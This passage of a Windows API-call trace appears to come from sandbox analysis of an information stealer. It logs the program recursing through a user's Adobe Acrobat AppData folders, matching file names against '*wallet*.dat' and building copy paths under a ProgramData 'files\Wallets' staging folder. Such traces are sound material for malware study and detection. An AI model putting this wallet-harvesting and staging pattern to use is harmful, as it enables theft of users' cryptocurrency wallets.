lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat" [0052.043] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\" [0052.043] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\." [0052.043] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat" [0052.043] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\" [0052.043] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\." [0052.043] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.043] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.043] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat" [0052.043] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\" [0052.043] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\.." [0052.044] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat" [0052.044] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\" [0052.044] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\.." [0052.044] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.044] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.044] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.044] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat" [0052.044] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\" [0052.044] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" [0052.044] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat" [0052.044] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\" [0052.044] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC" [0052.044] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0052.044] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0052.044] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" [0052.044] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*.*" [0052.044] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a4c0 [0052.044] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" [0052.044] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\" [0052.044] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\." [0052.044] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC" [0052.044] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\" [0052.044] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\." [0052.044] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.044] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.045] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" [0052.045] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\" [0052.045] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\.." [0052.045] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC" [0052.045] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\" [0052.045] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\.." [0052.045] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.045] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.045] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.045] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" [0052.045] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\" [0052.045] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Collab" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab" [0052.045] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC" [0052.045] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\" [0052.045] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\", lpString2="Collab" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab" [0052.045] lstrcmpW (lpString1="Collab", lpString2=".") returned 1 [0052.045] lstrcmpW (lpString1="Collab", lpString2="..") returned 1 [0052.045] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab" [0052.045] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*.*" [0052.045] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x58a180 [0052.046] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab" [0052.046] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\" [0052.046] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\." [0052.046] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab" [0052.046] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab\\" [0052.046] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab\\." [0052.046] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.046] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.046] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab" [0052.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\" [0052.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\.." [0052.047] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab" [0052.047] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab\\" [0052.047] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Collab\\.." [0052.047] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.047] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.047] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.047] FindClose (in: hFindFile=0x58a180 | out: hFindFile=0x58a180) returned 1 [0052.047] PathMatchSpecW (pszFile="Collab", pszSpec="*wallet*.dat") returned 0 [0052.047] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.047] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" [0052.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\" [0052.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Forms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms" [0052.047] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC" [0052.047] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\" [0052.047] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\", lpString2="Forms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms" [0052.047] lstrcmpW (lpString1="Forms", lpString2=".") returned 1 [0052.047] lstrcmpW (lpString1="Forms", lpString2="..") returned 1 [0052.047] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms" [0052.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*.*" [0052.047] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x58a300 [0052.047] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms" [0052.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\" [0052.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\." [0052.047] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms" [0052.048] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms\\" [0052.048] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms\\", lpString2="." | out: 